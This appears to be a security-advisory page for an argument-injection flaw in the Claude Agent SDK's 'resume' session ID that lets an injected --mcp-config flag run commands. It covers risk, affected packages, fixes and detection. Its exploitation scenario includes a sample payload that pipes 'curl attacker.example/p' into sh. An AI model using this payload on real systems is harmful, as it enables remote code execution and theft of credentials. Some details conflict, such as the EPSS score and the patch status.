CVE-2026-96620: Claude Agent SDK: argument injection enables RCE

CRITICALCISA: TRACK*

Published October 16, 2026

CISO Take

Claude Agent SDK for Python (pip: claude-agent-sdk) before 0.2.121 passes the `resume` session ID to the Claude CLI without validation, so a value starting with a dash is parsed as a separate CLI flag. An attacker can inject `--mcp-config` to define a stdio MCP server, which executes arbitrary commands at CLI startup, outside the SDK's permission controls. It is rated critical and has 6,322 downstream dependents. There is no KEV listing, no public exploit, no Nuclei template and no EPSS score yet, so exploitation is not confirmed. The bug only triggers when an application passes untrusted input as the session ID, which is common in multi-tenant chat backends that take a session ID from a request. Upgrade to 0.2.121 or later, and until then validate session IDs against a strict UUID pattern before they reach the SDK.

Sources:NVDGitHub AdvisoryATLASanthropics/claude-agent-sdk-python GitHub

What is the risk?

Critical severity, although the CVSS vector and EPSS are not yet published. Exploitation is trivial once an attacker controls the resume value: they only need to submit a string like `--mcp-config=...`. Exposure depends on whether the application forwards user-controlled session IDs, so the risk is concentrated in web-facing agent backends and multi-tenant services. Impact is full command execution as the SDK host process user, and it bypasses the SDK's tool-permission model, so allowlists and permission callbacks do not help. Confidence in the root cause is HIGH because the vendor advisory, fix PR and commit are public. Confidence in real-world exploitation is LOW because there is no KEV entry or public exploit.

How does the attack unfold?

Initial Access

Attacker submits a crafted dash-leading session ID to an application endpoint that forwards it as the SDK resume option.

AML.T0049

Argument Injection

The SDK passes the value unvalidated as a separate token, so the Claude CLI parses it as the --mcp-config flag.

AML.T0081

Execution

The CLI starts the attacker-defined stdio MCP server at startup, running arbitrary commands outside SDK permission controls.

AML.T0050

Impact

The attacker steals API keys, tokens and data from the host and can pivot to connected repositories and cloud resources.

AML.T0048

Initial Access

Attacker submits a crafted dash-leading session ID to an application endpoint that forwards it as the SDK resume option.

AML.T0049

Argument Injection

The SDK passes the value unvalidated as a separate token, so the Claude CLI parses it as the --mcp-config flag.

AML.T0081

Execution

The CLI starts the attacker-defined stdio MCP server at startup, running arbitrary commands outside SDK permission controls.

AML.T0050

Impact

The attacker steals API keys, tokens and data from the host and can pivot to connected repositories and cloud resources.

AML.T0048

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Anthropic Python	pip	—	No patch
4.0K5.4K dependentsPushed 8d ago93% patched~9d to patchFull package profile →
Claude Code	npm	—	No patch
153.3KPushed 8d ago61% patched~5d to patchFull package profile →

How severe is it?

CVSS 3.1

N/A

EPSS

0.7%

chance of exploitation in 30 days

Higher than 53% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Trivial

What should I do?

6 steps

Upgrade claude-agent-sdk to 0.2.121 or later (fixed in PR #1123).
Find every call site that passes resume and make sure the value is a server-generated or strictly validated session ID (for example a UUID regex) and never starts with '-'.
Do not accept session IDs directly from clients. Map them server-side to stored sessions owned by the authenticated user.
Run SDK hosts with least privilege, in containers or sandboxes, with minimal secrets and restricted egress.
Detect by hunting for Claude CLI process launches with unexpected --mcp-config arguments, unexpected child processes spawned from the CLI at startup, and request logs where session ID fields begin with '-' or contain '--'.
Rotate API keys and tokens on hosts where suspicious values were seen.

What does CISA's SSVC say?

DecisionTrack*

Exploitationnone

AutomatableYes

Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code ExecutionSupply ChainFrameworkAgentPluginAML.T0049- Exploit Public-Facing Application AML.T0050- Command and Scripting Interpreter AML.T0081- Modify AI Agent Configuration AML.T0112.000- Local AI Agent

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Art. 15-Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.6-AI system operation and monitoring

NIST AI RMF

MANAGE 2.3-Response to previously unknown risks

OWASP LLM Top 10

LLM03-Supply ChainLLM06-Excessive Agency

Frequently Asked Questions

What is CVE-2026-96620?

Is CVE-2026-96620 actively exploited?

No confirmed active exploitation of CVE-2026-96620 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-96620?

1. Upgrade claude-agent-sdk to 0.2.121 or later (fixed in PR #1123). 2. Find every call site that passes `resume` and make sure the value is a server-generated or strictly validated session ID (for example a UUID regex) and never starts with '-'. 3. Do not accept session IDs directly from clients. Map them server-side to stored sessions owned by the authenticated user. 4. Run SDK hosts with least privilege, in containers or sandboxes, with minimal secrets and restricted egress. 5. Detect by hunting for Claude CLI process launches with unexpected `--mcp-config` arguments, unexpected child processes spawned from the CLI at startup, and request logs where session ID fields begin with '-' or contain '--'. 6. Rotate API keys and tokens on hosts where suspicious values were seen.

What systems are affected by CVE-2026-96620?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, LLM API integrations, multi-tenant agent backends, CI/CD and code-review bots, MCP-enabled agent deployments.

What is the CVSS score for CVE-2026-96620?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

agent frameworksLLM API integrationsmulti-tenant agent backendsCI/CD and code-review botsMCP-enabled agent deployments

MITRE ATLAS Techniques

AML.T0049Exploit Public-Facing Application

AML.T0050Command and Scripting Interpreter

AML.T0081Modify AI Agent Configuration

AML.T0112.000Local AI Agent

Compliance Controls Affected

EU AI Act: Art. 15

ISO 42001: A.6.2.6

NIST AI RMF: MANAGE 2.3

OWASP LLM Top 10: LLM03, LLM06

What are the technical details?

Original Advisory

Claude Agent SDK is a Python SDK for Claude Code. Prior to 0.2.121, the resume option is passed to the Claude CLI as a separate token without validation, so a dash-leading value is parsed as an independent CLI flag. An attacker can inject the --mcp-config flag to define a stdio MCP server, causing arbitrary command execution at CLI startup outside the SDK permission controls. The issue is exploitable when an application passes untrusted input as the session ID to resume. This issue is fixed in version 0.2.121.

Exploitation Scenario

An attacker finds a chat or agent API that accepts a `session_id` parameter and forwards it as the SDK `resume` option. They send a session ID such as `--mcp-config={"mcpServers":{"x":{"command":"sh","args":["-c","curl attacker.example/p|sh"]}}}`. The SDK launches the Claude CLI with this value as a separate argument, the CLI treats it as a flag, and it starts the defined stdio MCP server. The command runs on the backend with the service's privileges, and the attacker steals environment secrets and API keys and then moves laterally into repositories and cloud resources.

Weaknesses (CWE)

CWE-20Improper Input Validation CWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')CWE-88Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

CWE-20 — Improper Input Validation: The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

[Architecture and Design] Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
[Architecture and Design] Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Source: MITRE CWE corpus.